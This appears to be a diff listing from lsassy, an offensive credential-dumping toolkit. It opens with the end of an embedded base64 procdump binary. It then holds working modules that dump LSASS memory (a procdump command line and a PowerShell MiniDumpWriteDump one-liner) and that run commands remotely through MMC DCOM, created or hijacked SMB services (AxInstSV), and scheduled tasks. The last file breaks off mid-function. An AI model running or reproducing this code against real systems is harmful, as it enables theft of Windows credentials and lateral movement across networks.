gZUwgZIwgY8GCSsGAQQBgjcuAzCBgTA9BggrBgEFBQcCARYxaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL1BLSS9kb2NzL0NQUy9kZWZhdWx0Lmh0bTBABggrBgEFBQcCAjA0HjIgHQBMAGUAZwBhAGwAXwBQAG8AbABpAGMAeQBfAFMAdABhAHQAZQBtAGUAbgB0AC4gHTANBgkqhkiG9w0BAQsFAAOCAgEAB+aIUQ3ixuCYP4FxAz2do6Ehb7Prpsz1Mb7PBeKp/vpXbRkws8LFZslq3/Xn8Hi9x6ieJeP5vO1rVFcIK1GCRBL7uVOMzPRgEop2zEBAQZvcXBf/XPleFzWYJFZLdO9CEMivv3/Gf/I3fVo/HPKZeUqRUgCvOA8X9S95gWXZqbVr5MfO9sp6AG9LMEQkIjzP7QOllo9ZKby2/QThcJ8ySif9Va8v/rbljjO7Yl+a21dA6fHOmWaQjP9qYn/dxUoLkSbiOewZSnFjnXshbcOco6I8+n99lmqQeKZt0uGc+R38ONiU9MalCpaGpL2eGq4EQoO4tYCbIjggtSXlZOz39L9+Y1klD3ouOVd2onGqBooPiRa6YacRy5rYDkeagMXQzafQ732D8OE7cQnfXXSYIghh2rBQHm+98eEA3+cxB6STOvdlR3jo+KhIq/fecn5ha293qYHLpwmsObvsxsvYgrRyzR30uIUBHoD7G4kqVDmyW9rIDVWZeodzOwjmmC3qjeAzLhIp9cAvVCch98isTtoouLGp25ayp0Kiyc8ZQU3ghvkqmqMRZjDTu3QyS99je/WZii8bxyGvWbWu3EQ8l1Bx16HSxVXjad5XwdHeMMD9zOZN+w2/XU/pnR4ZOC+8z1gFLu8NoFA12u8JJxzVs341Hgi62jbb01+P3nSISRIwggTaMIIDwqADAgECAhMzAAAAn2fytagjBlt7AAAAAACfMA0GCSqGSIb3DQEBCwUAMHwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xJjAkBgNVBAMTHU1pY3Jvc29mdCBUaW1lLVN0YW1wIFBDQSAyMDEwMB4XDTE2MDkwNzE3NTY0N1oXDTE4MDkwNzE3NTY0N1owgbMxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xDTALBgNVBAsTBE1PUFIxJzAlBgNVBAsTHm5DaXBoZXIgRFNFIEVTTjpCOEVDLTMwQTQtNzE0NDElMCMGA1UEAxMcTWljcm9zb2Z0IFRpbWUtU3RhbXAgU2VydmljZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALkI8SOc3cQCLwKFoaMnl2T5A5wSVD9Tglq4Put9bhjFcsEn1XApDPCWS9aPhMcWOWKe+7ENI4Si4zD30nVQC9PZ0NDu+pK9XV83OfjGchFkKzOBRddOhpsQkxFgMF3RfLTNXAEqffnNaReXwtVUkiGEJvW6KmABixzP0aeUVmJ6MHnJnmo+TKZdoVl7cg6TY6LCoze/F6rhOXmi/P3X/K3jHtmAaxL9Ou53jjDgO5Rjxt6ZEamdEsGF2SWZ6wH6Dmg9G6iZPxgw+mjODwReL6jwh7H2XhsvzoFMrSERMzIIf2eJGAM9C0GR0BZHyRti17QqL5TaCuWPjMxTKXX4DlkCAwEAAaOCARswggEXMB0GA1UdDgQWBBT9ixsiw30jR3amHt/gZtRS6bb5oDAfBgNVHSMEGDAWgBTVYzpcijGQ80N7fEYbxTNoWoVtVTBWBgNVHR8ETzBNMEugSaBHhkVodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL2NybC9wcm9kdWN0cy9NaWNUaW1TdGFQQ0FfMjAxMC0wNy0wMS5jcmwwWgYIKwYBBQUHAQEETjBMMEoGCCsGAQUFBzAChj5odHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL2NlcnRzL01pY1RpbVN0YVBDQV8yMDEwLTA3LTAxLmNydDAMBgNVHRMBAf8EAjAAMBMGA1UdJQQMMAoGCCsGAQUFBwMIMA0GCSqGSIb3DQEBCwUAA4IBAQBlEMFsa88VHq8PSDbr3y0LvAAA5pFmGlCWZbkxD2WMqfF0y8fnlvgb874z8sz8QZzByCmY1jHyHTc98Zekz7L2Y5SANUIa8jyU36c64Ck5fY6Pe9hUA1RG/1zP+eq080chUPCF2zezhfwuz9Ob0obO64BwW0GZgYYz1hjsq+DBkSCBRV59ryFpzgKRwhWF8quXtHDpimiJx+ds2VZSwEVk/QRY7pLuUvedN8P5DNuLaaRw3oJcs2Wxh2jWS5T8Y3JevUo3K3VTtHPi2IBWISkEG7TOnNEUcUXDMGSOeZ27kuPFzKkDVbtzvwEVepkGrsZ1W+1xuDYPQ1b3BMG8C79HoYIDdjCCAl4CAQEwgeOhgbmkgbYwgbMxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xDTALBgNVBAsTBE1PUFIxJzAlBgNVBAsTHm5DaXBoZXIgRFNFIEVTTjpCOEVDLTMwQTQtNzE0NDElMCMGA1UEAxMcTWljcm9zb2Z0IFRpbWUtU3RhbXAgU2VydmljZaIlCgEBMAkGBSsOAwIaBQADFQBs0ycI8vnZqMv5Gd6SS0qt2xmjwaCBwjCBv6SBvDCBuTELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjENMAsGA1UECxMETU9QUjEnMCUGA1UECxMebkNpcGhlciBOVFMgRVNOOjU3RjYtQzFFMC01NTRDMSswKQYDVQQDEyJNaWNyb3NvZnQgVGltZSBTb3VyY2UgTWFzdGVyIENsb2NrMA0GCSqGSIb3DQEBBQUAAgUA3KitpTAiGA8yMDE3MDQyNDE3MDAyMVoYDzIwMTcwNDI1MTcwMDIxWjB0MDoGCisGAQQBhFkKBAExLDAqMAoCBQDcqK2lAgEAMAcCAQACAi7kMAcCAQACAhipMAoCBQDcqf8lAgEAMDYGCisGAQQBhFkKBAIxKDAmMAwGCisGAQQBhFkKAwGgCjAIAgEAAgMW42ChCjAIAgEAAgMHoSAwDQYJKoZIhvcNAQEFBQADggEBAJFTbhz6X21pHmgMzFYjfQCg2hJYjteuNse47Ro+/fnZR1P9H2wC3o63U5l4Doh/AwGnAQFS+1BfwkCgEnaLQww2rJqPqLtoRSjkdmifn/v9cQQsd4dRGt5XN5/wPunyHq8W5oSW4NB6Bjf2wrywQUMckfwqiYCb7j0QYoidUYtJv8YN9D0Y+g03it3soBvwPIjoPrICO/xhhpsGwyQs0GVj4OlkuHlN20eDdzsbJutnGSiVVVUJfegHFteR0WfL+e5s1Ew0WfO9SGZFMv1yGo84yjNlN2ERJt9Enq/YRzI3RU28bFDakRVmjnL9HZKkz4b/Uh8RZvpewiDjV5DWYVExggL1MIIC8QIBATCBkzB8MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSYwJAYDVQQDEx1NaWNyb3NvZnQgVGltZS1TdGFtcCBQQ0EgMjAxMAITMwAAAJ9n8rWoIwZbewAAAAAAnzANBglghkgBZQMEAgEFAKCCATIwGgYJKoZIhvcNAQkDMQ0GCyqGSIb3DQEJEAEEMC8GCSqGSIb3DQEJBDEiBCBuclLD+J0CRMXuBZvvvv3NW7ZHVsbaZQa6Vz0a91dPsjCB4gYLKoZIhvcNAQkQAgwxgdIwgc8wgcwwgbEEFGzTJwjy+dmoy/kZ3pJLSq3bGaPBMIGYMIGApH4wfDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEmMCQGA1UEAxMdTWljcm9zb2Z0IFRpbWUtU3RhbXAgUENBIDIwMTACEzMAAACfZ/K1qCMGW3sAAAAAAJ8wFgQU/Z6tFOzVraI8R+XPIDmyerUWg64wDQYJKoZIhvcNAQELBQAEggEAcl/1CbJgcfAcyHCmizFYGXJNckUNqu705GOdrzzMb9vgPZmwdSUBj07Co5GxeHPc7rjcgEP4Ggt/QmBPldlDlBjhBOXv70dZuaSGsVzamR/z/yW9FW9xY81xbjZa6bslS68M+7IWiErLVH1DlxQfaSmphaT+mL0rz1HXNNOgKCEA5cDgDlMSdFFq16V+hcgGpwF7aAJ/cwAlMez9f7iwXqGixn1hqF5/enE+NsJf0WCQfyNkOmORtwYP2TP1sCGblvVeZfJDt139ZnAzPY0Ju8XjK/yf2LkBxKabfrHTBQMXYz6S343Nx/CKuSy4EvrNnwpdJdFuDwEvolzRW6T+Ug==")
16 self.procdump_remote_share = "C$"
17 self.procdump_remote_path = "\\Windows\\Temp\\"
18 self.procdump = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".exe"
19 self.procdump_uploaded = False
20
21 def prepare(self, options):
22 self.procdump_remote_share = options.get("procdump_remote_share", self.procdump_remote_share)
23 self.procdump_remote_path = options.get("procdump_remote_path", self.procdump_remote_path)
24 self.procdump = options.get("procdump", self.procdump)
25
26 # Upload procdump
27 logging.debug('Uploading procdump...')
28
29 if ImpacketFile.create_file(self._session, self.procdump_remote_share, self.procdump_remote_path, self.procdump, self.procdump_content) != True:
30 logging.error("Procdump upload error", exc_info=True)
31 return None
32 logging.success("Procdump successfully uploaded")
33 self.procdump_uploaded = True
34 return True
35
36 def clean(self):
37 if self.procdump_uploaded:
38 ImpacketFile.delete(self._session, self.procdump_remote_path + self.procdump, timeout=self._timeout)
39
40 def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
41 cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {}{} -accepteula -o -ma %J {}{}""".format(
42 self.procdump_remote_path, self.procdump,
43 self.dump_path, self.dump_name
44 )
45 pwsh_command = """{}{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
46 self.procdump_remote_path, self.procdump,
47 self.dump_path, self.dump_name
48 )
49 return {
50 "cmd": cmd_command,
51 "pwsh": pwsh_command
52 }
+18
-0
lsassy/dumpmethod/wer.py less more
0 """
1 From https://twitter.com/JohnLaTwC/status/1411345380407578624
2 """
3
4
5 from lsassy.dumpmethod import IDumpMethod
6
7
8 class DumpMethod(IDumpMethod):
9
10 def get_commands(self):
11 pwsh_command = """$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting');$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic');$Flags = [Reflection.BindingFlags] 'NonPublic, Static';$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags);$ProcessDumpPath = '{}{}';$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create);$p=Get-Process lsass;$Result = $MiniDumpWriteDump.Invoke($null, @($p.Handle,$p.Id,$FileStream.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero));$FileStream.Close()""".format(
12 self.dump_path, self.dump_name
13 )
14 return {
15 "cmd": None,
16 "pwsh": pwsh_command
17 }
+22
-4
lsassy/exec/__init__.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
0 import logging
41
2
3 class IExec:
4 """
5 Interface for remote execution
6 """
7 debug_privilege = False
8 kerberos_support = True
9
10 def __init__(self, session):
11 self.session = session
12
13 def exec(self, command):
14 """
15 To be implemented in all exec modules
16 :param command: Command to be executed on remote host
17 """
18 logging.info("Executing using {}".format(self.__module__))
19 if not self.kerberos_support and self.session.kerberos is True:
20 logging.error("Module {} does not support Kerberos authentication".format(self.__module__))
21 return False
22 return True
+176
-0
lsassy/exec/mmc.py less more
0 #!/usr/bin/python
1 # Class copied and adapted from CrackMapExec project:
2 # https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb/mmcexec.py
3 #
4 # Copyright (c) 2003-2016 CORE Security Technologies
5 #
6 # This software is provided under under a slightly modified version
7 # of the Apache Software License. See the accompanying LICENSE file
8 # for more information.
9 #
10 # A similar approach to wmiexec but executing commands through MMC.
11 # Main advantage here is it runs under the user (has to be Admin)
12 # account, not SYSTEM, plus, it doesn't generate noisy messages
13 # in the event log that smbexec.py does when creating a service.
14 # Drawback is it needs DCOM, hence, I have to be able to access
15 # DCOM ports at the target machine.
16 #
17 # Original discovery by Matt Nelson (@enigma0x3):
18 # https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
19 #
20 # Author:
21 # beto (@agsolino)
22 #
23 # Reference for:
24 # DCOM
25 #
26 # ToDo:
27 # [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to
28 # getInterface() method
29 #
30
31 import logging
32
33 from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
34 VARIANT, VARENUM, DISPATCH_METHOD
35 from impacket.dcerpc.v5.dcomrt import DCOMConnection
36 from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
37 OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
38 IRemUnknown2, INTERFACE
39 from impacket.dcerpc.v5.dtypes import NULL
40
41 from lsassy.exec import IExec
42
43
44 class Exec(IExec):
45 """
46 Remote execution using MMC as provided user
47
48 This execution method does not provide debug privilege
49 """
50 debug_privilege = True
51 kerberos_support = False
52
53 def __init__(self, session):
54 super().__init__(session)
55 self.__shell = 'c:\\windows\\system32\\cmd.exe'
56 self.__pwd = 'C:\\'
57
58 self.__quit = None
59 self.__executeShellCommand = None
60
61 def getInterface(self, interface, resp):
62 # Now let's parse the answer and build an Interface instance
63 objRefType = OBJREF(b''.join(resp))['flags']
64 objRef = None
65 if objRefType == FLAGS_OBJREF_CUSTOM:
66 objRef = OBJREF_CUSTOM(b''.join(resp))
67 elif objRefType == FLAGS_OBJREF_HANDLER:
68 objRef = OBJREF_HANDLER(b''.join(resp))
69 elif objRefType == FLAGS_OBJREF_STANDARD:
70 objRef = OBJREF_STANDARD(b''.join(resp))
71 elif objRefType == FLAGS_OBJREF_EXTENDED:
72 objRef = OBJREF_EXTENDED(b''.join(resp))
73 else:
74 logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
75
76 return IRemUnknown2(
77 INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
78 oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
79 target=interface.get_target()))
80
81 def clean(self):
82 dispParams = DISPPARAMS(None, False)
83 dispParams['rgvarg'] = NULL
84 dispParams['rgdispidNamedArgs'] = NULL
85 dispParams['cArgs'] = 0
86 dispParams['cNamedArgs'] = 0
87 try:
88 self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
89 except Exception as e:
90 pass
91
92 try:
93 self.dcom.disconnect()
94 except Exception as e:
95 pass
96
97 def exec(self, command):
98 if not super().exec(command):
99 return False
100
101 self.dcom = DCOMConnection(
102 self.session.address,
103 self.session.username,
104 self.session.password,
105 self.session.domain,
106 self.session.lmhash,
107 self.session.nthash,
108 self.session.aesKey,
109 oxidResolver=True,
110 doKerberos=self.session.kerberos,
111 kdcHost=self.session.dc_ip
112 )
113
114 try:
115 iInterface = self.dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
116 IID_IDispatch)
117 iMMC = IDispatch(iInterface)
118
119 resp = iMMC.GetIDsOfNames(('Document',))
120
121 dispParams = DISPPARAMS(None, False)
122 dispParams['rgvarg'] = NULL
123 dispParams['rgdispidNamedArgs'] = NULL
124 dispParams['cArgs'] = 0
125 dispParams['cNamedArgs'] = 0
126 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
127
128 iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
129 resp = iDocument.GetIDsOfNames(('ActiveView',))
130 resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
131
132 iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
133 pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
134
135 pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
136
137 self.__quit = (iMMC, pQuit)
138 self.__executeShellCommand = (iActiveView, pExecuteShellCommand)
139
140 except Exception as e:
141 logging.debug("Error : {}".format(e), exc_info=True)
142 self.clean()
143
144 dispParams = DISPPARAMS(None, False)
145 dispParams['rgdispidNamedArgs'] = NULL
146 dispParams['cArgs'] = 4
147 dispParams['cNamedArgs'] = 0
148 arg0 = VARIANT(None, False)
149 arg0['clSize'] = 5
150 arg0['vt'] = VARENUM.VT_BSTR
151 arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
152 arg0['_varUnion']['bstrVal']['asData'] = self.__shell
153
154 arg1 = VARIANT(None, False)
155 arg1['clSize'] = 5
156 arg1['vt'] = VARENUM.VT_BSTR
157 arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
158 arg1['_varUnion']['bstrVal']['asData'] = self.__pwd
159
160 arg2 = VARIANT(None, False)
161 arg2['clSize'] = 5
162 arg2['vt'] = VARENUM.VT_BSTR
163 arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
164 arg2['_varUnion']['bstrVal']['asData'] = command
165
166 arg3 = VARIANT(None, False)
167 arg3['clSize'] = 5
168 arg3['vt'] = VARENUM.VT_BSTR
169 arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
170 arg3['_varUnion']['bstrVal']['asData'] = '7'
171 dispParams['rgvarg'].append(arg3)
172 dispParams['rgvarg'].append(arg2)
173 dispParams['rgvarg'].append(arg1)
174 dispParams['rgvarg'].append(arg0)
175 self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
+106
-0
lsassy/exec/smb.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 # Based on Impacket smbexec implementation by @agsolino
7 # https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py
8
9 import logging
10 import random
11 import string
12
13 from impacket.dcerpc.v5 import transport, scmr
14 from lsassy.exec import IExec
15
16
17 class Exec(IExec):
18 """
19 Remote execution using service creation as SYSTEM
20
21 This execution method provides debug privilege
22 """
23 debug_privilege = True
24
25 def __init__(self, session):
26 self._scmr = None
27 self._service = None
28 self._rpctransport = None
29 self._serviceName = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
30 super().__init__(session)
31
32 def clean(self):
33 try:
34 scmr.hRDeleteService(self._scmr, self._service)
35 scmr.hRCloseServiceHandle(self._scmr, self._service)
36 logging.debug("Service %s deleted" % self._serviceName)
37 except:
38 logging.warning("An error occurred while trying to delete service %s. Trying again." % self._serviceName)
39 try:
40 logging.debug("Trying to connect back to SCMR")
41 self._scmr = self._rpctransport.get_dce_rpc()
42 try:
43 self._scmr.connect()
44 except Exception as e:
45 raise Exception("An error occurred while connecting to SVCCTL: %s" % e)
46 logging.debug("Connected to SCMR")
47 self._scmr.bind(scmr.MSRPC_UUID_SCMR)
48 resp = scmr.hROpenSCManagerW(self._scmr)
49 _scHandle = resp['lpScHandle']
50 resp = scmr.hROpenServiceW(self._scmr, _scHandle, self._serviceName)
51 logging.debug("Found service %s" % self._serviceName)
52 self._service = resp['lpServiceHandle']
53 scmr.hRDeleteService(self._scmr, self._service)
54 logging.debug("Service %s deleted" % self._serviceName)
55 scmr.hRControlService(self._scmr, self._service, scmr.SERVICE_CONTROL_STOP)
56 scmr.hRCloseServiceHandle(self._scmr, self._service)
57 except scmr.DCERPCException:
58 logging.debug("A DCERPCException error occured while trying to delete %s" % self._serviceName, exc_info=True)
59 pass
60 except:
61 logging.debug("An unknown error occured while trying to delete %s" % self._serviceName, exc_info=True)
62 pass
63
64 def exec(self, command):
65 if not super().exec(command):
66 return False
67 try:
68 stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % self.session.address
69 logging.debug('StringBinding %s' % stringbinding)
70 self._rpctransport = transport.DCERPCTransportFactory(stringbinding)
71 self._rpctransport.set_dport(445)
72 self._rpctransport.setRemoteHost(self.session.address)
73 if hasattr(self._rpctransport, 'set_credentials'):
74 # This method exists only for selected protocol sequences.
75 self._rpctransport.set_credentials(self.session.username, self.session.password, self.session.domain,
76 self.session.lmhash, self.session.nthash, self.session.aesKey)
77 self._rpctransport.set_kerberos(self.session.kerberos, self.session.dc_ip)
78 self._scmr = self._rpctransport.get_dce_rpc()
79 try:
80 self._scmr.connect()
81 except Exception as e:
82 raise Exception("An error occurred while connecting to SVCCTL: %s" % e)
83 s = self._rpctransport.get_smb_connection()
84 s.setTimeout(100000)
85 self._scmr.bind(scmr.MSRPC_UUID_SCMR)
86 resp = scmr.hROpenSCManagerW(self._scmr)
87 _scHandle = resp['lpScHandle']
88 resp = scmr.hRCreateServiceW(self._scmr, _scHandle, self._serviceName, self._serviceName, lpBinaryPathName=command,
89 dwStartType=scmr.SERVICE_DEMAND_START)
90 logging.debug("Service %s created" % self._serviceName)
91 self._service = resp['lpServiceHandle']
92 try:
93 scmr.hRStartServiceW(self._scmr, self._service)
94 logging.debug("Service %s restarted for command execution" % self._serviceName)
95 except:
96 pass
97 self.clean()
98 except KeyboardInterrupt as e:
99 logging.debug("Keyboard interrupt: Trying to delete %s if it exists" % self._serviceName)
100 self.clean()
101 raise KeyboardInterrupt(e)
102 except Exception as e:
103 self.clean()
104 raise Exception(e)
105 return True
+191
-0
lsassy/exec/smb_stealth.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 # Idea of @Cyb3rSn0rlax https://twitter.com/Cyb3rSn0rlax/status/1435531922135035912
7
8 # Based on Impacket smbexec implementation by @agsolino
9 # https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py
10 # And Mr-Un1k0d3r scshell.py script (Thanks @_Laox https://twitter.com/_Laox/status/1435552150868926468)
11 # https://raw.githubusercontent.com/Mr-Un1k0d3r/SCShell/master/scshell.py
12
13 import logging
14 import time
15
16 from impacket.dcerpc.v5 import transport, scmr
17 from impacket.dcerpc.v5.ndr import NULL
18
19 from lsassy.exec import IExec
20
21
22 class Exec(IExec):
23 """
24 Remote execution using service modification as SYSTEM
25
26 This execution method provides debug privilege
27 """
28 debug_privilege = True
29
30 def __init__(self, session):
31 self._scmr = None
32 self._service = None
33 self._rpctransport = None
34 self._serviceName = "AxInstSV"
35 self._startType = ""
36 self._errorControl = ""
37 self._binaryPath = ""
38 super().__init__(session)
39
40 def clean(self):
41 try:
42 if self._binaryPath != "":
43 scmr.hRChangeServiceConfigW(
44 self._scmr,
45 self._service,
46 scmr.SERVICE_NO_CHANGE,
47 self._startType,
48 self._errorControl,
49 self._binaryPath,
50 NULL,
51 NULL,
52 NULL,
53 NULL,
54 NULL,
55 NULL,
56 NULL,
57 NULL,
58 )
59 logging.debug("Service %s restored" % self._serviceName)
60 except:
61 logging.warning("An error occurred while trying to restore service %s. Trying again." % self._serviceName)
62 try:
63 logging.debug("Trying to connect back to SCMR")
64 self._scmr = self._rpctransport.get_dce_rpc()
65 try:
66 self._scmr.connect()
67 except Exception as e:
68 raise Exception("An error occurred while connecting to SVCCTL: %s" % e)
69 logging.debug("Connected to SCMR")
70 self._scmr.bind(scmr.MSRPC_UUID_SCMR)
71 resp = scmr.hROpenSCManagerW(self._scmr)
72 _scHandle = resp['lpScHandle']
73 resp = scmr.hROpenServiceW(self._scmr, _scHandle, self._serviceName)
74 logging.debug("Found service %s" % self._serviceName)
75 self._service = resp['lpServiceHandle']
76 scmr.hRChangeServiceConfigW(
77 self._scmr,
78 self._service,
79 scmr.SERVICE_NO_CHANGE,
80 self._startType,
81 self._errorControl,
82 self._binaryPath,
83 NULL,
84 NULL,
85 NULL,
86 NULL,
87 NULL,
88 NULL,
89 NULL,
90 NULL,
91 )
92 logging.debug("Service %s restored" % self._serviceName)
93 scmr.hRControlService(self._scmr, self._service, scmr.SERVICE_CONTROL_STOP)
94 scmr.hRCloseServiceHandle(self._scmr, self._service)
95 except scmr.DCERPCException:
96 logging.debug("A DCERPCException error occured while trying to delete %s" % self._serviceName,
97 exc_info=True)
98 pass
99 except:
100 logging.debug("An unknown error occured while trying to delete %s" % self._serviceName, exc_info=True)
101 pass
102
103 def exec(self, command):
104 if not super().exec(command):
105 return False
106 try:
107 stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % self.session.address
108 logging.debug('StringBinding %s' % stringbinding)
109 self._rpctransport = transport.DCERPCTransportFactory(stringbinding)
110 self._rpctransport.set_dport(445)
111 self._rpctransport.setRemoteHost(self.session.address)
112 if hasattr(self._rpctransport, 'set_credentials'):
113 # This method exists only for selected protocol sequences.
114 self._rpctransport.set_credentials(self.session.username, self.session.password, self.session.domain,
115 self.session.lmhash, self.session.nthash, self.session.aesKey)
116 self._rpctransport.set_kerberos(self.session.kerberos, self.session.dc_ip)
117 self._scmr = self._rpctransport.get_dce_rpc()
118 try:
119 self._scmr.connect()
120 except Exception as e:
121 raise Exception("An error occurred while connecting to SVCCTL: %s" % e)
122 s = self._rpctransport.get_smb_connection()
123 s.setTimeout(100000)
124 self._scmr.bind(scmr.MSRPC_UUID_SCMR)
125 resp = scmr.hROpenSCManagerW(self._scmr)
126 _scHandle = resp['lpScHandle']
127
128 resp = scmr.hROpenServiceW(self._scmr, _scHandle, self._serviceName)
129 self._service = resp['lpServiceHandle']
130 resp = scmr.hRQueryServiceConfigW(self._scmr, self._service)
131 self._binaryPath = resp['lpServiceConfig']['lpBinaryPathName']
132 self._startType = resp['lpServiceConfig']['dwStartType']
133 self._errorControl = resp['lpServiceConfig']['dwErrorControl']
134 logging.info('({}) Current service binary path {}'.format(self._serviceName, self._binaryPath))
135
136 scmr.hRChangeServiceConfigW(
137 self._scmr,
138 self._service,
139 scmr.SERVICE_NO_CHANGE,
140 scmr.SERVICE_DEMAND_START,
141 scmr.SERVICE_ERROR_IGNORE,
142 command,
143 NULL,
144 NULL,
145 NULL,
146 NULL,
147 NULL,
148 NULL,
149 NULL,
150 NULL,
151 )
152 try:
153 scmr.hRStartServiceW(self._scmr, self._service)
154 logging.debug("Service %s restarted for command execution" % self._serviceName)
155 except:
156 pass
157
158 try:
159 scmr.hRChangeServiceConfigW(
160 self._scmr,
161 self._service,
162 scmr.SERVICE_NO_CHANGE,
163 self._startType,
164 self._errorControl,
165 self._binaryPath,
166 NULL,
167 NULL,
168 NULL,
169 NULL,
170 NULL,
171 NULL,
172 NULL,
173 NULL,
174 )
175 logging.info('({}) Service binary path has been restored'.format(self._serviceName))
176 self._startType = ""
177 self._errorControl = ""
178 self._binaryPath = ""
179 except Exception as e:
180 self.clean()
181 raise Exception(e)
182 self.clean()
183 except KeyboardInterrupt as e:
184 logging.debug("Keyboard interrupt: Trying to restore %s if it exists" % self._serviceName)
185 self.clean()
186 raise KeyboardInterrupt(e)
187 except Exception as e:
188 self.clean()
189 raise Exception(e)
190 return True
+124
-0
lsassy/exec/task.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 # Based on Impacket atexec implementation by @agsolino
7 # https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py
8
9 import logging
10 import random
11 import string
12 import time
13
14 from impacket.dcerpc.v5 import tsch, transport
15 from impacket.dcerpc.v5.dtypes import NULL
16 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
17 from lsassy.exec import IExec
18
19
20 class Exec(IExec):
21 """
22 Remote execution using task creation as SYSTEM
23
24 This execution method provides debug privilege
25 """
26 debug_privilege = True
27
28 def __init__(self, session):
29 super().__init__(session)
30 self._rpctransport = None
31 self._dce = None
32 self._taskname = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
33
34 def exec(self, command):
35 if not super().exec(command):
36 return False
37 try:
38 stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self.session.address
39 self._rpctransport = transport.DCERPCTransportFactory(stringbinding)
40
41 if hasattr(self._rpctransport, 'set_credentials'):
42 self._rpctransport.set_credentials(self.session.username, self.session.password, self.session.domain,
43 self.session.lmhash, self.session.nthash, self.session.aesKey)
44 self._rpctransport.set_kerberos(self.session.kerberos, self.session.dc_ip)
45 self._dce = self._rpctransport.get_dce_rpc()
46 self._dce.set_credentials(*self._rpctransport.get_credentials())
47 if self.session.kerberos:
48 self._dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
49 self._dce.connect()
50 self._dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
